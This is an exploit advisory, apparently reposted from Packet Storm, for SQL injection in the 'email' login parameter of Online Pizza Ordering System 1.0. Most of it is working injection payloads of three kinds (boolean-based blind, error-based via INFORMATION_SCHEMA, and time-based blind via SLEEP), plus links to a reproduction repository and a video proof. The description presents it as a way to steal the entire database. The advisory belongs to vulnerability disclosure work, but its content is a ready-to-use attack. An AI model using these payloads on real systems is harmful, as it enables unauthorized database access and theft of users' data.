Exploit for Online Pizza Ordering 1.0 SQL Injection

## https://sploitus.com/exploit?id=PACKETSTORM:171614
## Title: Online-Pizza-Ordering-1.0-Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 03.31.2023  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The `email` parameter appears to be vulnerable to SQL injection attacks.  
The attacker easily can steal all information from the database, and  
it depends on the time he will need to decrypt this information,  
he can decrypt and use this information for very malicious purposes.  
  
STATUS: HIGH Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: email (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'  
AND 2244=2244 AND 'GqOB'='GqOB&password=b0E!i9g!K9  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479' OR  
(SELECT 8595 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT  
(ELT(8595=8595,1))),0x71716a7071,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND  
'FXYe'='FXYe&password=b0E!i9g!K9  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: email=ZfCPbAWN@burpcollaborator.net' and '3479'='3479'  
AND (SELECT 3772 FROM (SELECT(SLEEP(7)))xChJ) AND  
'pJWv'='pJWv&password=b0E!i9g!K9  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Online-Pizza-Ordering-1.0/SQLi)  
  
## Proof and Exploit:  
[href](https://streamable.com/qil6by)  
  
## Time spend:  
00:37:00